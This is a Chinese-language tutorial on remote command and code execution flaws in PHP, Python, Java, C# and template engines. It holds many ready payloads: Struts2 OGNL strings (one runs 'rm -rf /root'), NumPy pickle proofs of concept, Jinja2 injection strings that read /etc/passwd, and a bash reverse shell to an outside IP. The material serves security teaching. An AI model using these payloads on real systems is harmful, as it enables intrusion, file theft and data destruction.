作者:掌控安全-Veek
RCE
漏洞成因
RCE为两种漏洞的缩写,分别为Remote Command/Code Execute,远程命令/代码执行。
远程系统命令执行(操作系统命令注入或简称命令注入)是一种注入漏洞。攻击者注入的payload将作为操作系统命令执行。仅当Web应用程序代码包含操作系统调用并且调用中使用了用户输入时,才可能进行OS命令注入攻击。它们不是特定于语言的,命令注入漏洞可能会出现在所有让你调用系统外壳命令的语言中:C,Java,PHP,Perl,Ruby,Python等。
操作系统使用Web服务器的特权执行注入的任意命令。因此,命令注入漏洞本身不会导致整个系统受损。但是,攻击者可能能够使用特权升级和其他漏洞来获得更多访问权限。
代码注入攻击与命令注入攻击不同。因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
通过代码注入或远程代码执行(RCE),攻击者可以通过注入攻击执行恶意代码、向网站写webshell、控制整个网站甚至服务器。其实际危害性取决于服务器端解释器的限制(例如,PHP,Python等)。在某些情况下,攻击者可能能够从代码注入升级为命令注入。
通常,代码注入容易发生在应用程序执行却不经过验证代码的情况下。以下是带有代码注入错误的示例PHP应用程序的源代码。
/**
* 从get方法得到代码
*/
$code = $_GET['code'];
/**
* 不安全地执行代码
* 例子 - phpinfo();
*/
eval("\$code;");
根据上面的示例,攻击者可以使用以下结构来执行任意PHP代码。结果是显示出PHP信息页面。
http://example.com/?code=phpinfo();
代码执行
eval() //把字符串作为PHP代码执行
assert() //检查一个断言是否为 FALSE,可用来执行代码
preg_replace() //执行一个正则表达式的搜索和替换
call_user_func()//把第一个参数作为回调函数调用
call_user_func_array()//调用回调函数,并把一个数组参数作为回调函数的参数
array_map() //为数组的每个元素应用回调函数
动态函数$a($b)
由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用`call_user_func()`的初衷一样,用来更加方便地调用函数,但是一旦过了不严格就会造成代码执行漏洞。
举例:不调用`eval()`
<?php
if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}else{
echo "
?a=assert&b=phpinfo()
";
}
命令执行
system() //执行外部程序,并且显示输出
exec() //执行一个外部程序
shell_exec() //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
passthru() //执行外部程序并且显示原始输出
pcntl_exec() //在当前进程空间执行指定程序
popen() //打开进程文件指针
proc_open() //执行一个命令,并且打开用来输入/输出的文件指针
java.lang.Runtime.getRuntime(.exec(command)
Java中没有类似php中eval 函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞。
代码执行
exec(string) # Python代码的动态执行
eval(string) # 返回表达式或代码对象的值
execfile(string) # 从一个文件中读取和执行Python脚本
input(string) #Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入
compile(string) # 将源字符串编译为可执行对象
命令执行
system() #执行系统指令
popen() #popen()方法用于从一个命令打开一个管道
subprocess.call #执行由参数提供的命令
spawn #执行命令
漏洞检测
RCE漏洞是由于程序使用了危险函数的同时没有强大的验证过滤导致的,所以在黑盒测试的过程中,常用的思路是对输入端进行测试。
许多开发人员认为文本字段是数据验证的唯一区域。这是一个错误的假设。任何外部输入都必须经过数据验证:文本字段,列表框,单选按钮,复选框,cookie,HTTP头数据,HTTP post数据,隐藏字段,参数名称和参数值……当然这也不是详尽的清单。还必须研究“进程到进程”或“实体到实体”的通信。任何与上游或下游流程通信并接受其输入的代码都必须被审查。
所有的注入缺陷都是输入验证错误。注入缺陷的存在表明,从信任边界之外的外部来源接收的输入的数据验证不正确。
基本上,对于这种类型的漏洞,我们需要找到应用程序中的所有输入流。这可以来自用户的浏览器、CLI或厚客户机(fat client),也可以来自“提供”应用程序的上游进程。
在白盒测试的过程中,我们可以重点关注危险函数出现的位置(上面所总结的那些)。当存在我们能控制的数据,并且能构造出注入攻击的地方,那么漏洞就是存在的。这类测试可以利用自动化工具来进行。
常见注入(利用)方式
命令执行(注入)常见可控位置情况有下面几种:
-
system("$arg");
//可控点直接是待执行的程序
如果我们能直接控制$arg,那么就能执行执行任意命令了。
-
system("/bin/prog $arg");
//可控点是传入程序的整个参数
我们能够控制的点是程序的整个参数,我们可以直接用&& || 或 | 等等,利用与、或、管道命令来执行其他命令(可以涉及到很多linux命令行技巧)。
-
system("/bin/prog -p $arg");
//可控点是传入程序的某个参数的值(无引号包裹)
我们控制的点是一个参数,我们也同样可以利用与、或、管道来执行其他命令,情境与二无异。
-
system("/bin/prog --p=\"$arg\"");
//可控点是传入程序的某个参数的值(有双引号包裹)
这种情况压力大一点,有双引号包裹。如果引号没有被转义,我们可以先闭合引号,成为第三种情况后按照第三种情况来利用,如果引号被转义(addslashes),我们也不必着急。linux shell 环境下双引号中间的变量也是可以被解析的,我们可以在双引号内利用反引号执行任意命令 id
-
system("/bin/prog --p='$arg'");
//可控点是传入程序的某个参数的值(有单引号包裹)
这是最困难的一种情况,因为单引号内只是一个字符串,我们要先闭合单引号才可以执行命令。如:system(“/bin/prog –p=’aaa’ | id”)
在漏洞检测中,除了有回显的命令注入(比如执行dir 命令或者cat 读取系统文件);还可以使用盲打的方式,比如curl远程机器的某个目录(看access.log),或者通过dns解析的方式获取到漏洞机器发出的请求。
当我们确定了OS命令注入漏洞后,通常可以执行一些初始命令来获取有关受到破坏的系统的信息。以下是在Linux和Windows平台上常用的一些命令的摘要:
命令目的 | linux | windows |
---|---|---|
当前用户名 | whoami |
whoami |
操作系统 | uname -a |
ver |
网络配置 | ifconfig |
ipconfig /all |
网络连接 | netstat -an |
netstat -an |
运行进程 | ps -ef |
tasklist |
在Linux上, ; 可以用 |、|| 代替
;前面的执行完执行后面的
|是管道符,显示后面的执行结果
||当前面的执行出错时执行后面的
可用 **%0A和 \n** 换行执行命令
在Windows上,不能用 ; 可以用&、&&、|、||代替
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
PHP 支持一个执行运算符:反引号(“) PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
<?php echo `whoami`;?>
效果与函数 shell_exec() 相同,都是以字符串的形式返回一个命令的执行结果,可以保存到变量中
此处以php为例,其它语言也存在这类利用。
(1) preg_replace()
函数:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
当$pattern处存在e修饰符时,$replacement 会被当做php代码执行。
(2)mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed $…)
:
第一个参数为回调函数,第二个参数是回调函数的参数
(3)eval()
和assert()
:
当assert()的参数为字符串时 可执行PHP代码
【区分】:
eval(" phpinfo(); ");【√】 eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】 assert(" phpinfo() ");【√】
php反序列化导致RCE的原理及利用,参考专题文章:php-反序列化
python程序中若出现了危险函数,并且参数可控,则可能存在命令执行或代码执行漏洞。
os.system方法
import os
result = os.system('cat /etc/passwd')
print(result
os.popen方法
os.popen()方法不仅执行命令而且返回执行后的信息对象(常用于需要获取执行命令后的返回信息),是通过一个管道文件将结果返回。通过 os.popen() 返回的是 file read 的对象,对其进行读取 read() 的操作可以看到执行的输出。
import os
result = os.popen('cat /etc/passwd')
print(result.read())
例如 CVE-2017-17522,python Lib/webbrowser.py模块的内置方法启动通过BROWSER环境变量指定的程序(浏览器)时,没有对传入的参数做过滤,可能导致远程代码执行漏洞。
已知漏洞出现在BROWSER环境变量。代码中有多次对subprocess.Popen()函数进行调用。屡一下思路那就应该是,通过传入url,控制了环境变量中BROWSER的值,带入到subprocess.Popen()函数中实现命令执行。但是利用条件较苛刻。
subprocess.call()
执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)
还有其他函数方法,此处不再列举。
eval() 函数
该用来执行一个字符串表达式,并返回表达式的值
>>> eval( '3 * x' )
21
>>> eval('pow(2,2)')
4
exec() 函数
exec 执行储存在字符串或文件中的Python语句,相比于 eval,exec可以执行更复杂的 Python 代码
# 单行语句字符串
>>> exec "print 'Hello'"
Hello
# 多行语句字符串
>>> exec """for i in range(5):
... print "iter time: %d" % i
... """
iter time: 0
iter time: 1
iter time: 2
iter time: 3
iter time: 4
execfile(string)
此函数从一个文件中读取和执行Python脚本(python3中已删除)
input() 函数
Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型。
Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入。
它可以对输入的字符串进行连接、复制等操作,但无法直接参与算术运算(变量类型不支持)。
>>> x = input()
abc
>>> x * 3
'abcabcabc'
>>> x + 5
(报错)
详细原理及利用参考文库文章:python反序列化
举例:
NumPy rce CVE-2019-6446
通过 NumPy.lib.npyio.p 之中的load()方法加载序列化文件,通过 file 形参传入文件,由于allow_pickle=True,所以可以采用序列化文件。漏洞的执行流程为: NumPy.lib.npyio.pyload()=>pickle.py load()
默认情况下 allow_pickle=True,允许通过文件反序列化,POC 如下:
from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system, ('whoami',))
if __name__ == '__main__':
tmpdaa = Test()
npyio.save("test",tmpdaa)
npyio.load("test.npy")
或者可以通过 pickles,POC 如下:
from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('whoami',))
tmpdaa = Test()
with open("test-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
npyio.load("test-file.pickle")
因为代码编写不规范,缺少参数过滤等原因,导致程序通过Java执行系统命令,与cmd中或者终端上一样执行了shell命令所造成的RCE漏洞。最典型的就是使用了Runtime.getRuntime().exec(command)或者new ProcessBuilder(cmdArray).start()。
Runtime.getRuntime().exec()
该方法主要用于执行外部的程序或命令,直接在exec()中拼接命令或者引入字符串参数即可。
ProcessBuilder(cmdArray).start()
使用ProcessBuilder,只需要通过Arrays.asList()构建一个List的参数集合,然后在ProcessBuilder的构造函数传入参数,即可 start() 方法执行。
cmdList= Arrays. asList(programPath, oriPath, patchPath)
processBuilder=new ProcessBuilder(cmdList);
ProcessBuilder与Runtime.exec()的区别
ProcessBuilder.start() 和 Runtime.exec() 方法都被用来创建一个操作系统进程(执行命令行操作),并返回 Process 子类的一个实例,该实例可用来控制进程状态并获得相关信息。
ProcessBuilder.start() 和 Runtime.exec()传递的参数有所不同,Runtime.exec()可接受一个单独的字符串,这个字符串是通过空格来分隔可执行命令程序和参数的;也可以接受字符串数组参数。而ProcessBuilder的构造函数是一个字符串列表或者数组。列表中第一个参数是可执行命令程序,其他的是命令行执行是需要的参数。
通过查看JDK源码可知,Runtime.exec最终是通过调用ProcessBuilder来真正执行操作的。
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。
反射方法
反射方法很多只列举部分重要的来说。
获取class的字节码对象
前面说到反射是对运行中的类进行查询和调用,所以首先我们需要获取运行类的对象,即字节码对象(可以看看JVM加载原理)。方式有三种来看看。
方式一:
Class.forName(“类的字符串名称”);
方式二:
简单类名加.class来获取其对应的Class对象;
方式三:
Object类中的getClass()方法的。
三种区别主要是调用者不同,以及静态和动态区别(java是依需求加载,对于暂时不用的可以不加载)。
获取构造函数
- getConstructors()//获取所有公开的构造函数
- getConstructor(参数类型)//获取单个公开的构造函数
- getDeclaredConstructors()//获取所有构造函数
- getDeclaredConstructor(参数类型)//获取一个所有的构造函数
获取名字
可以反射类名。
- getName()//获取全名 例如:com.test.Demo
- getSimpleName()//获取类名 例如:Demo
获取方法
getMethods()//获取所有公开的方法
获取字段
- getFields()//获取所有的公开字段
- getField(String name)//参数可以指定一个public字段
- getDeclaredFields()//获取所有的字段
- getDeclaredField(String name)//获取指定所有类型的字段
设置访问属性
默认为false,设置为true之后可以访问私有字段。
- Field.setAccessible(true)//可访问
- Field.setAccessible(false)//不可访问
以及Method类的invoke方法
invoke(Object obj, Object… args) //传递object对象及参数调用该对象对应的方法
来看一个简单的反射案例,可以执行运行计算器命令。
通过Class.forName获取字节码对象,调用getMethod获取到Runtime的getRuntime方法,用invoke执行方法,最后同样的执行exec方法执行calc命令。
而具体的反射漏洞有通过反射来突破单例模式
,通过反射来突破泛型限制
,利用反射链的序列化漏洞
。这些内容可参考文章:sourse
Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行。总结下来有这些:
- JBoss “Java 反序列化”过程远程命令执行漏洞
- Jenkins “Java 反序列化”过程远程命令执行漏洞
- WebSphere “Java 反序列化”过程远程命令执行漏洞
- WebLogic “Java 反序列化”过程远程命令执行漏洞
- 常见 Java Web 容器通用远程命令执行漏洞
关于java反序列化,可看文库文章:反序列化专题
首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用(例如readObject()
)来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。
确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可:
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用。
struts2的一系列RCE漏洞,多数原因是OGNL表达式注入。
Struts2 的核心是使用的webwork(XWORK的核心)框架,处理action时通过调用底层Java Bean 的gter/setter 方法来处理http 参数,它将每个http参数声明为一个ONGL 语句。当我们提交如下http 参数时:
?user.address.city=bj&user[‘name’]=admin
ONGL将它转换为:
0bj.getUser().getAddress().setCity=“bj”;
0bj.getUser().setName= “admin”;
这个过程就是用ParametersInterceptor 拦截器调用ValueStack.setValue() 来完成的,并且其参数是可控的。
XWORK 也有自己的保护机制,比如,为了防范篡改服务器端对象,XWork 的ParametersInterceptor 拦截器不允许参数名中出现“#”字符,但如果使用了Java 的unicode 字符串表示 (\u0023),攻击者就可以绕过保护:
?(’\u0023_memberAccess[‘allowStaticMethodAccess’]’) (meh) =true& (aaa) ((’\u0023context[\ ‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023foo’) (\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((’\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后的值如下:
?(’#_memberAccess[‘allowStaticMethodAccess’]’) (meh) =true& (aaa) ((’#context[\ ‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((’#rt.exit(1)’)(#rt\u003d@java.lang.Runtime@getRuntime()))=1
OGNL 处理时最终的结果就是:
java.lang.Runtime.getRuntime().exit(1);
类似的可以执行如下语句:
java.lang.Runtime.getRuntime().exec(“net user”);
java.lang.Runtime.getRuntime().exec(“rm -rf /root”);
触发途径
通过对一系列的struts2的poc观察,一般是通过修改StaticMethodAccess或是创建ProcessBuilder对象。
#_memberAccess["allowStaticMethodAccess"]=true // 用来授权允许调用静态方法
或
new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()
C#
C#的Process类提供对本地和远程进程的访问权限并能够启动和停止本地系统进程。
下面的示例使用类的实例 Process 来启动进程。
using System;
using System.Diagnostics;
using System.ComponentModel;
namespace MyProcessSample
{
class MyProcess
{
public static void Main()
{
try
{
using (Process myProcess = new Process())
{
myProcess.StartInfo.UseShellExecute = false;
// 我们可以启动任何进程,HelloWorld是一个不执行任何操作的示例。
myProcess.StartInfo.FileName = "C:\\HelloWorld.exe";
myProcess.StartInfo.CreateNoWindow = true;
myProcess.Start();
// 这段代码假定我们正在启动的进程将自行终止。
// 因为它在没有窗口的情况下启动,所以不能在桌面上终止它。
// 它必须自行终止,或者我们可以在这个应用程序中使用Kill方法
// 以编程的方式完成它。
}
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
}
System.Reflection(反射) 命名空间,包含通过检查托管代码中程序集、模块、成员、参数和其他实体的元数据来检索其相关信息的类型。 这些类型还可用于操作加载类型的实例,例如挂钩事件或调用方法。
其中的MethodBase类提供有关方法和构造函数的信息。
其Invoke(Object, Object[]) 方法使用指定参数调用由当前实例表示的方法或构造函数。
示例:
using System;
using System.Reflection;
public class MagicClass
{
private int magicBaseValue;
public MagicClass()
{
magicBaseValue = 9;
}
public int ItsMagic(int preMagic)
{
return preMagic * magicBaseValue;
}
}
public class TestMethodInfo
{
public static void Main()
{
// 获取构造函数并创建MagicClass的实例
Type magicType = Type.GetType("MagicClass");
ConstructorInfo magicConstructor = magicType.GetConstructor(Type.EmptyTypes);
object magicClassObject = magicConstructor.Invoke(new object[]{});
// 获取itsmic方法并使用参数值为100进行调用
MethodInfo magicMethod = magicType.GetMethod("ItsMagic");
object magicValue = magicMethod.Invoke(magicClassObject, new object[]{100});
Console.WriteLine("MethodInfo.Invoke() Example\n");
Console.WriteLine("MagicClass.ItsMagic() returned: {0}", magicValue);
}
}
// 示例程序给出以下输出:
//
// MethodInfo.Invoke() 示例
//
// MagicClass.ItsMagic() returned: 900
与Java的反射机制一样,C#反射机制的存在也使得程序有一定的安全隐患,其中利用最普遍的是反序列化漏洞。参考:反序列化漏洞
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。
通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。就拿一个销售软件来说,我们假设它会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:
$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );
有经验的读者可能迅速发现 XSS,但是问题不止如此。这行代码其实有更深层次的隐患,假设我们发送如下请求:
custom_email={{7*7}} // GET 参数
49 // $output 结果
还有更神奇的结果:
custom_email={{self}} // GET 参数
Object of class
__TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5 could not be converted to string // 错误
我们不难猜到服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。
为什么我们在模板注入前加“服务端”呢?这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。
漏洞一般出现在这两种情况下,而每种有不同的探测手法:
大部分的模板语言支持我们输入 HTML,比如:
smarty=Hello {user.name}
Hello user1
freemarker=Hello ${username}
Hello newuser
any=<b>Hello</b>
<b>Hello<b>
未经过滤的输入会产生 XSS,我们可以利用 XSS 做我们最基本的探针。除此之外,模板语言的语法和 HTML 语法相差甚大,因此我们可以用其独特的语法来探测漏洞。虽然各种模板的实现细节不大一样,不过它们的基本语法大致相同,我们可以发送如下 payload:
smarty=Hello ${7*7}
Hello 49
freemarker=Hello ${7*7}
Hello 49
来确认漏洞。
在一些环境下,用户的输入也会被当作模板的可执行代码。比如说变量名:
personal_greeting=username
Hello user01
这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:
personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>
读模板文献是构造 exp 的第一步。一般来讲,我们需要关注如下部分:
- ‘Template 使用手册’,这一部分通常告诉我们基本的模板语法
- ‘安全问题’,在攻击模板时,它通常可以提供我们许多思路
- 内建方法,函数,变量,过滤器
- 插件/扩展——我们可以优先研究默认开启的
当我们构建出了可用 exp 后,我们需要考虑我们当前环境可利用的函数/对象。除了模板默认的对象和我们提供的参数外,大部分模板引擎都有一个包含当前命名空间所有信息的对象(比如 self),或者一个可以列出所有属性和方法的函数。
如果没有这样的对象或函数,我们需要暴力枚举变量名。 FuzzDB 和 Burp Intruder 中已存在一些 fuzz 字典。
有些时候,开发者也会在模板中包含了一些敏感信息。不过这视情况而定,因此不在这里讨论。
至此,读者已经了解如何利用这一攻击面了。但是我们需要提醒读者不要局限目光于通用特性,我们还需注意到不同开发者的实现细节。通过这一漏洞,在一些模板应用中我们甚至可以实现任意对象创建,任意文件读写,远程文件包含,信息泄露以及提权等操作。
有些时候,攻破一个程序不需要多少时间,比如:{php}echo id;{/php}
这时,我们只需递交以下代码即可:
jsp
<%
import os
x=os.popen('id').read()
%>
${x}
Jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
在jinja2中,存在三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。
inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。
被两个括号包裹的内容会输出其表达式的值。
payload原理
Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数,这里其实就引出了python沙盒逃逸。
python的内敛函数很强大,可以调用一切函数做自己想做的事情
__builtins__
__import__
在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,这是两种创建object的方法
Python中一些常见的特殊方法:
__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类
现在我们的思路就是从一个内置变量调用class.base等隐藏属性,去找到一个函数,然后调用其globals[‘builtins‘]即可调用eval等执行任意代码。
().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
#builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可
安全研究员给出的几个常见Payload
文件读取和写入
#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
任意执行
每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
写入一次即可
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
不回显的
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
任意执行只需要一条指令
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
总结:
通过某种类型(字符串:"",list:[],int:1)开始引出,__class__找到当前类,__mro__或者__base__找到__object__,前边的语句构造都是要找这个。然后利用object找到能利用的类。还有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}这种的,能执行,但是不会回显。一般来说,python2的话用file就行,python3则没有这个属性。
因为python3没有file了,所以用的是open
#文件读取
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
执行命令
#任意执行
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function,然后组成payload
#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
output
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
随便选一个替换我们之前的Payload,会发现成功执行
http://192.168.228.36/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}
甩几个test payload
有时候看不到回显。可以在源代码里看到回显
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')
命令执行无回显利用技巧
OS命令注入的许多实例都是无回显的漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。但无回显漏洞仍然可以被利用,只是需要不同的技术。
可以使用注入的命令来触发时间延迟,从而根据应用程序响应的时间来确认命令是否已执行。ping
命令是执行此操作的有效方法,因为它可以指定要发送的ICMP数据包的数量,从而指定该命令的运行时间:
& ping -c 10 127.0.0.1 &
此命令将导致应用程序ping其环回网络适配器10秒钟。
我们可以将注入命令的输出重定向到Web根目录下的文件中,然后使用浏览器进行检索。例如,如果应用程序从文件系统location提供静态资源/var/www/static
,那么您可以提交以下输入:
& whoami > /var/www/static/whoami.txt &
其中>
字符能将whoami
命令的结果输出到指定的文件。然后,我们可以使用浏览器来读取https://vulnerable-website.com/whoami.txt
